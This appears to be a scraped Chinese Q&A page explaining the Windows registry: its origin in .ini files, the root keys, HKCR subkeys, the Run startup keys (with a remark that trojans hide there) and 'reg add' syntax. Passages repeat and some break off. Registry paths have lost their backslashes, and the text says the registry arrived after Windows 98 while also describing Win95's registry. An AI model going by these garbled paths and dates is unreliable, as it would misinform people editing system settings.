在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/td>
2023-07-20 11:15:311

电脑中的注册表一般是指什么啊?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。 == 在windows的开始/运行菜单中输入"regedit"你就可以通过注册表编辑器看到注册表,注册表是什么呢?简单地说,它是用来对windows操作系统进行配置的一个工具.通过它,可以对操作系统及应用软件进行优化,可以自己设置windows的使用权限,可以解决硬件及网络设置不当带来的故障甚至可以改造自己的操作系统. 在windows 3.X时代,主要通过WIN.INI及SYSTEM.INI对windows进行配置,但WIN.INI及SYSTEM.INI文件存在着安全性不高,大小受限制等问题,为了解这一问题MICROSOFT公司在WINDOWS98以后的版本中引入了注册表这一便更好的对windows系统进行配置,这就是为什么我们要使用注册表的原因. 注册表的作用是保存程序所需要的信息,当程序需要这些信息时,就从注册表里读出.因此,注册表最基本的功能就是保存信息. 当了解了注册表的主要功能--保存信息后,再来了解其保存信息后,再来了解保存信息所发挥的作用! 1,记录安装信息; 2,设置硬件属性; 3,定制WINDOWS以及应用软件. 注册表逻辑结构中最基本的是主键,子键,键值项以及键值.它们是按照分组的方式来管理和组织的.首先是最底根键, 每个根键下有若干个子键,每个子键下又可以有若干(一个或多个)子键,子键下可以有一个或多个键值项和键值. 根键:注册表中最底层的键,类似于磁盘上的根目录. 子键:子键位于根键下又可以嵌套其他子键中,在注册表的六大根键中,有若干的子键,而每个子键中又可以嵌套成千上万的子键. 键值项与键值:在每个根键和子键下,可以有若干键值,这种结构类似于磁盘上根目录和子目录里的文件和文件内容. windows 9x注册表逻辑结构中包含六个根键,每个根键包含着分类不同的信息!在windowsNT/2000/XP中,如果用windows自带的编辑器打开的时候,只能看到五个,还有一个隐藏的根键:HKEY_PERFOR_MANCE_DATA. *HKEY_CLASS_ROOT 记录windows操作系统中所有数据文件的格式和关联信息,主要记录不同文件的文件名后缀和与之对应的应用程序其下子键可分为两类:一类是已经注册的各类文件的扩展名,这类子键前面都带有一个".";另一类是各类文件类型有关信息. *HKEY_CURRENT_USER 些根根键包含当前登录用户的用户配置文件信息,这些信息保证不同的用户登录计算机时,使用自己的修改化设置,例如自己定义的墙纸,自己的收件箱,自己的安全访问权限. *HKEY_LOCAL_MACHINE 此根键包含了当前计算机的配置灵气,包括所安装的硬件以软件设置.这些信息是为所有的用户登录系统服务的.这是事个注册表中最庞大也是最重要的根键! *HKEY_USERS HKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆用户的信息. *HKEY_CURRENT_CONFIG 此根键实际上是HKDY_LOCAL_MACHINE/CONFIG/0001分支下的数据完全一样. *HKEY_DYN_DATA根键 这个键保存每次系统启动时,创建的系统配置和当前性能信息.这个根键只存在于windows 9X中 *HKEY_PERFORMANCE_DATA 在windowsNT/2000/XP注册表中虽然没有HKEY_DYN_DAT键,但是它却隐藏了一个名为"HKEY_PERFORMANCE_DATA的键.所有系统中的动态信息都是存放在此子键中,系统自带的注册表编辑器无法看到些
2023-07-20 11:15:543

如何在命令提示符中给注册表添加子键

reg 命令是 WindowsXP 提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。reg add将新的子项或项添加到注册表中。语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]参数:KeyName - 指定子项的完全路径。对于远程计算机,请在 \ComputerNamePathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。/v EntryName - 指定要添加到指定子项下的项名称。/ve - 指定添加到注册表中的项为空值。/t DataType - 指定项值的数据类型。DataType 可以是以下几种类型:REG_SZ REG_MULTI_SZ REG_DWORD_BIG_ENDIAN REG_DWORD REG_BINARY REG_DWORD_LITTLE_ENDIAN REG_LINK REG_FULL_RESOURCE_DESCRIPTOR REG_EXPAND_SZ /s separator - 指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时,请使用该参数。如果没有指定,将使用默认分隔符为 。/d value - 指定新注册表项的值。/f - 不用询问信息而直接添加子项或项。/? - 在命令提示符显示帮助。注释:该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。下表列出了 reg add 操作的返回值。值 - 说明0 - 成功1 - 失败具体reg命令请参看: http://www.networkdictionary.cn/blog/763-20080102-1781
2023-07-20 11:16:021

关于注册表的运行

什么是注册表? 《英汉双解微软计算机辞典》(第 5 版)对注册表的定义是: Microsoft Windows 9x、Windows CE、Windows NT 和 Windows 2000 中使用的中央分层数据库,用于存储为一个或多个用户、应用程序和硬件设备配置系统所必需的信息。 注册表包含 Windows 在运行期间不断引用的信息,例如,每个用户的配置文件、计算机上安装的应用程序以及每个应用程序可以创建的文档类型、文件夹和应用程序图标的属性表设置、系统上存在哪些硬件以及正在使用哪些端口。 注册表取代了 Windows 3.x 和 MS-DOS 配置文件(例如,Autoexec.bat 和 Config.sys)中使用的绝大多数基于文本的 .ini 文件。虽然几个 Windows 操作系统都有注册表,但这些操作系统的注册表有一些区别。注册表数据存储在二进制文件中。 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 